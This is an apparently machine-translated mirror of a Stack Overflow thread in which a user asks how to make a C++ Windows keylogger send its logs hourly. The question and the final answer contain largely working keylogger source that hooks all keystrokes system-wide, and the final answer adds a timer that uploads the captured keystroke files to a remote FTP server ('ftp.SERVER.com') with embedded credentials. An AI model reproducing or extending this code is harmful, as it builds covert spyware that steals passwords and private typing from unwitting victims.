簡體   English   中英

如何將計時器添加到鍵盤記錄器C ++

[英]How do I add a timer to a keylogger c++

我該怎么做才能在此鍵盤記錄器中設置一個計時器,使其每小時發送一次日志? 我在循環時嘗試了Sleep()函數,但它們似乎不起作用。 我考慮使用多線程,但我認為必須有一個更有效的方法。

    #define _WIN32_WINNT 0x0500

    #include<fstream>
    #include<windows.h>
    #include<iostream>
    //globals   
    using namespace std;

    ofstream out("keys.txt", ios::out);

    LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
        PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);

        // If key is being pressed
        if (wParam == WM_KEYDOWN) {
            switch (p->vkCode) {

                // Invisible keys
                case VK_LCONTROL:   out << "<LCTRL>";       break;
                case VK_RCONTROL:   out << "<RCTRL>";       break;
                case VK_INSERT:     out << "<INSERT>";      break;
                case VK_END:        out << "<END>";         break;
                case VK_PRINT:      out << "<PRINT>";       break;
                case VK_DELETE:     out << "<DEL>";         break;
                case VK_BACK:       out << "<BK>";          break;

                case VK_LEFT:       out << "<LEFT>";        break;
                case VK_RIGHT:      out << "<RIGHT>";       break;
                case VK_UP:         out << "<UP>";          break;
                case VK_DOWN:       out << "<dDOWN>";       break;

                case VK_RETURN:     out << "<ENTER>\n";     break;

                //add special keys like semicolons

                // Visible keys
                default:
                    if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
                    out << char(tolower(p->vkCode));

                    else if (GetKeyState(VK_CAPITAL)||GetAsyncKeyState(VK_SHIFT))
                    out << char(toupper(p->vkCode));
                    //add capital version of sepecial keys

                    else 
                    out << char(tolower(p->vkCode));
            }
            out.flush();    //to immediately flush to txt file
            cout<<p<<endl;
        }


        return CallNextHookEx(NULL, nCode, wParam, lParam);
        }




    int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

        // Set windows hook

        HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL,keyboardHookProc,hInstance,0);

        MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

        out.close();

        return 0;
    }

我正在使用DEVC ++

如果您只想每隔一段時間發送一次日志,則可以輕松地進行檢查以檢測自上次日志更新以來已經有多長時間了!

簡單方法

您需要在文件更新之間存儲所有按鍵記錄。 您可以輕松地將它們放入向量中

因此,與其輸出到不帶有out << blahblah文件, vectorname.push_back(blahblah)將字符添加到具有vectorname.push_back(blahblah)向量中

您還需要一個計時變量。 您可以使用windows.h函數GetTickCount來滿足所有計時需求。

當調用鍵盤掛鈎/回調(您使用實際的鍵盤記錄代碼的方法)時,請檢查自上次更新日志文件以來是否已經過了一個小時,如果已經過了一個小時或更長時間,請進行更新並設置您的時間變量= GetTickCount。

希望有幫助!

Win32 API函數SetTimer每x毫秒或任何給定時間執行一個函數。

http://msdn.microsoft.com/en-us/library/windows/desktop/ms644906(v=vs.85).aspx

下面的控制台程序是這樣工作的:它使用SetTimer設置計時器,然后在消息循環中循環。 消息循環接收和處理WM_TIMER消息,並且每個時間間隔都調用計時器回調。

usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms

只需將您要完成的工作放在CALLBACK TimerProc()函數中。

#define STRICT 1 
#include <windows.h>
#include <iostream.h>
#include <time.h>

unsigned long minutes=0;
int Counter=0;
int usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
clock_t timer_start, timer_stop;
MSG Msg;
   UINT TimerId; 


VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) 
{

   //put the stuff you want done in here

  cout << "Doing stuff Time: " << dwTime << '\n';


  cout << abs(timer_start - timer_stop )  <<"   millisecond delay " << endl;
  cout << "--------------------------------------------------\n" ;
  cout.flush();

}

int main(int argc, char *argv[], char *envp[]) 
{

        usage_Time_millisec=1000;//1 sec=1000ms  1 min=60*1000ms
        TimerId  = SetTimer(NULL, 0, usage_Time_millisec, &TimerProc); //bind TimerProc() to SetTimer() 

        timer_start = clock ();
        timer_stop = clock ();

        cout << "TimerId: " << TimerId << '\n';

        if (!TimerId) return 16;

        while (GetMessage(&Msg, NULL, 0, 0)) 
        {

            ++Counter;
            if (Msg.message == WM_TIMER)
            {

                timer_start = clock ();
                //cout << "Doing stuff Counter: " << Counter << "; timer message\n";
            }
            else
            {
                timer_stop = clock ();
                timer_start = clock ();
                //cout << "Doing stuff Counter: " << Counter << "; message: " << Msg.message << '\n';
            }
            DispatchMessage(&Msg);
        }

        KillTimer(NULL, TimerId);

return 0;

}

我使用了SetTimer() ,它的工作原理很像。

#define _WIN32_WINNT 0x0500
#include<fstream>
#include<windows.h>

#include<iostream>
#include <time.h>
#include <wininet.h>

using namespace std;
//globals
char date[100]; //must be a global variable
char *datetxt;   //must be a global variable
char *buffer;   //for outputting to new file, if there isnt internet
void namer();  //show nointernet() that namer() exists
void nointernet()
{
    std::ifstream    inFile(datetxt);//copy to buffer
    inFile >> buffer;
    inFile.close();
    remove(datetxt);  //delete old name
    namer();  //give new name
    std::ofstream    outFile(datetxt); //should be here to avoid new and old name mishaps
    outFile << buffer;   //enter copied data here

}
void namer()
{
    time_t rawtime;
    struct tm *timeinfo;
    time (&rawtime);
    timeinfo = localtime (&rawtime);
    strftime(date, 100, "%H%M%d%m%Y%S", timeinfo); //get date
    datetxt = strcat(date, ".txt");                 //joins date with a .txt extrention
}

int upload()
{
    HINTERNET hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); // Initialization for WinInet Functions
    if (!hInternet)
    {
        nointernet(); //if there is no internet, append new log file
    }


    HINTERNET hFtpSession = InternetConnect(hInternet, "ftp.SERVER.com", INTERNET_DEFAULT_FTP_PORT, "USER", "PASS", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0); // Starts a session in this case an FTP session
    if (!hFtpSession)
    {
        InternetCloseHandle(hInternet);
        nointernet();   //if you cant access ftp, append to new log file

    }

    FtpPutFile(hFtpSession, datetxt, datetxt, FTP_TRANSFER_TYPE_BINARY, 0); // Uploads datetxt file  onto the FTP server as datetxt


    InternetCloseHandle(hFtpSession); // Close hFtpSession
    InternetCloseHandle(hInternet); // Close hInternet
    //delete old datetxt
    namer();   //give new name
    return 0;
}

void CALLBACK repeat(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime)
{
    upload();  //upload old name and change name


}



LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam)
{


    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
    ofstream out(datetxt, ios::app);
    // If key is being pressed

    if (wParam == WM_KEYDOWN)
    {
        switch (p->vkCode)
        {
        // Invisible keys
        case VK_LCONTROL:   out << "<LCTRL>";        break;
        case VK_RCONTROL:   out << "<RCTRL>";       break;
        case VK_INSERT:     out << "<INSERT>";      break;
        case VK_END:        out << "<END>";         break;
        case VK_PRINT:      out << "<PRINT>";       break;
        case VK_DELETE:     out << "<DEL>";         break;
        case VK_BACK:       out << "<BK>";          break;

        case VK_LEFT:       out << "<LEFT>";        break;
        case VK_RIGHT:      out << "<RIGHT>";       break;
        case VK_UP:         out << "<UP>";          break;
        case VK_DOWN:       out << "<dDOWN>";       break;

        case VK_RETURN:     out << "<ENTER>\n";     break;

            //add special keys like semicolons

        // Visible keys
        default:
            if (GetKeyState(VK_CAPITAL) && GetAsyncKeyState(VK_SHIFT))  //this should be on top to detect simultanous input first
                out << char(tolower(p->vkCode));

            else if (GetKeyState(VK_CAPITAL) || GetAsyncKeyState(VK_SHIFT))
                out << char(toupper(p->vkCode));
            //add capital version of special keys

            else
                out << char(tolower(p->vkCode));


        }
        out.close();    //to immediately flush to txt file
        cout << p << endl;
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);


}


int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    namer();   // for the datetxt name

    HHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); // Set windows hook

    //re-run program here/*************************************************
    MSG msg;

    SetTimer(NULL, 0, 10000, (TIMERPROC) &repeat);
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    //till here/**********************************************************/
    // out.close();
    BOOL WINAPI UnhookWindowsHookEx(HHOOK keyboardHook);
    return 0;

}

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM